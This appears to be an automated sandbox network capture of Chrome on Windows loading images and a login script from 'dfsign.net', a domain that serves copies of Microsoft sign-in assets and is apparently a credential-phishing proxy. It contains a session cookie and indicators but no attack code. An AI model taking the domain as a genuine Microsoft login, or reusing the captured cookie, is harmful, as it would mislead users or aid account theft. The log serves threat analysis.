Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:53 UTC	788	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:53 UTC	761	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:53 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:47 GMT etag: 0x8DB5C3F48EC4154 x-ms-request-id: eaf4a5ac-901e-006a-42e5-5a24d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134853Z-15464c697c5nzg6lhC1FRAsbv80000000qug00000000v2ub x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes
2025-01-07 13:48:53 UTC	2679	IN	Data Raw: 61 37 30 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e Data Ascii: a70GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~
2025-01-07 13:48:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49752	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:53 UTC	782	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:54 UTC	761	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:53 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4904824B x-ms-request-id: f93725b6-d01e-007b-0a5c-58be67000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134853Z-1777998d8f97hq8nhC1DUSq9h40000001260000000007r2r x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes
2025-01-07 13:48:54 UTC	3627	IN	Data Raw: 65 32 34 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 Data Ascii: e24GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`
2025-01-07 13:48:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49755	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:54 UTC	553	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:55 UTC	761	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:55 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:47 GMT etag: 0x8DB5C3F48EC4154 x-ms-request-id: eaf4a5ac-901e-006a-42e5-5a24d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134855Z-15464c697c5vd5xdhC1FRAwkbg0000000rq000000000v599 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes
2025-01-07 13:48:55 UTC	2679	IN	Data Raw: 61 37 30 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e Data Ascii: a70GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~
2025-01-07 13:48:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49756	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:54 UTC	547	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:55 UTC	761	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:54 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4904824B x-ms-request-id: c7315d70-d01e-0044-1be5-5a76c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134854Z-15464c697c52bp6vhC1FRAdm2s0000000r3g00000000c0z5 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes
2025-01-07 13:48:55 UTC	3627	IN	Data Raw: 65 32 34 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 Data Ascii: e24GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`
2025-01-07 13:48:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49757	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:54 UTC	565	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:55 UTC	811	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:55 GMT Content-Type: application/x-javascript Content-Length: 5532 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 15 Nov 2024 18:42:37 GMT etag: 0x8DD05A547165EBB x-ms-request-id: 2b23c9bc-001e-0057-25e5-5a52c8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134855Z-15464c697c5c7dj6hC1FRArk680000000ru000000000awpx x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:55 UTC	5532	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 5b 7d 77 da 46 d6 ff bf 9f 42 68 f7 10 69 33 96 4d da 74 b7 72 55 1f 87 97 84 d6 8e 5d 83 db 4d 93 1c 8e 40 03 28 16 92 aa 11 c6 d4 f0 dd 9f df 9d 91 40 80 c0 4e 9f ed 49 2d 6b e6 ce 9d 3b 77 ee fb 95 8f ff 55 f9 46 fb 97 76 f4 fc ff b4 4e f7 fc a6 ab 5d b5 b4 ee bb f6 4d 43 bb c6 db 07 ed fd 55 b7 5d 6f 3e 1f 0f 6d 4a ff 77 c7 be d0 86 7e c0 35 3c fb ae e0 9e 16 85 5a 94 68 7e 38 88 92 38 4a dc 94 0b 6d 82 9f 89 ef 06 da 30 89 26 5a 3a e6 5a 9c 44 5f f8 20 15 5a e0 8b 14 8b fa 3c 88 66 9a 01 74 89 a7 5d bb 49 3a d7 da d7 a6 05 fc 1c d8 fc 91 1f 62 f5 20 8a e7 f8 7d 9c 6a 61 94 fa 03 ae b9 a1 27 b1 05 78 09 05 d7 a6 a1 c7 13 6d 36 f6 07 63 ed d2 1f 24 91 88 86 a9 96 f0 01 f7 ef b1 89 98 62 7c 73 0b a6 b9 09 d7 04 4f b5 61 Data Ascii: [}wFBhi3MtrU]M@(@NI-k;wUFvN]MCU]o>mJw~5<Zh~88Jm0&Z:ZD_ Z<ft]I:b }ja'xm6c$b\|sOa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49759	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:54 UTC	769	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:55 UTC	764	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:55 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Sun, 18 Oct 2020 03:02:03 GMT etag: 0x8D8731230C851A6 x-ms-request-id: a899864a-f01e-0048-3ebc-58a9de000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134855Z-1777998d8f9855tlhC1DUSg66n00000010ug000000001c62 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes
2025-01-07 13:48:55 UTC	2286	IN	Data Raw: 38 65 37 0d 0a 00 00 01 00 06 00 10 10 00 00 00 00 20 00 16 01 00 00 66 00 00 00 18 18 00 00 00 00 20 00 24 01 00 00 7c 01 00 00 20 20 00 00 00 00 20 00 35 01 00 00 a0 02 00 00 30 30 00 00 00 00 20 00 6a 01 00 00 d5 03 00 00 40 40 00 00 00 00 20 00 f3 01 00 00 3f 05 00 00 80 80 00 00 00 00 20 00 b5 01 00 00 32 07 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 dd 49 44 41 54 78 9c dd 92 31 4e 43 41 10 43 df cc 8e 44 40 b0 22 2d 65 6e c4 21 90 68 c3 15 38 40 ce c4 39 68 a8 11 22 e4 ff 00 05 93 35 4d 1a b2 bf 89 68 10 2e 2d 8d c7 b6 6c 9b eb 85 4c fc 80 50 d6 59 09 5e 6c 75 77 ff c8 95 d9 72 dc 28 cd 08 0e e0 87 c7 c7 c2 7f 77 fe 17 04 42 28 7b da 12 04 f2 26 01 46 02 a9 89 be a2 ce 4e ba 66 Data Ascii: 8e7 f $\| 500 j@@ ? 2PNGIHDRaIDATx1NCACD@"-en!h8@9h"5Mh.-lLPY^luwr(wB({&FNf
2025-01-07 13:48:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49758	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:54 UTC	782	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:55 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:55 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F47E260FD x-ms-request-id: f94e35cc-d01e-0026-18e5-5ab4e3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134855Z-15464c697c5rxg6nhC1FRAdxfs0000000rng00000000cv7g x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:55 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2025-01-07 13:48:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49760	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:54 UTC	783	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:55 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:55 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4911527F x-ms-request-id: 9a644334-501e-0028-27e5-5a9d53000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134855Z-15464c697c5hx8dqhC1FRAdvvs0000000rqg0000000048rw x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:55 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2025-01-07 13:48:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49762	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:55 UTC	534	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:56 UTC	764	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:56 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Sun, 18 Oct 2020 03:02:03 GMT etag: 0x8D8731230C851A6 x-ms-request-id: 3b61d88f-701e-0062-6d2f-603edc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134856Z-1777998d8f977q6rhC1DUSdegw00000003u000000000c5q2 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT 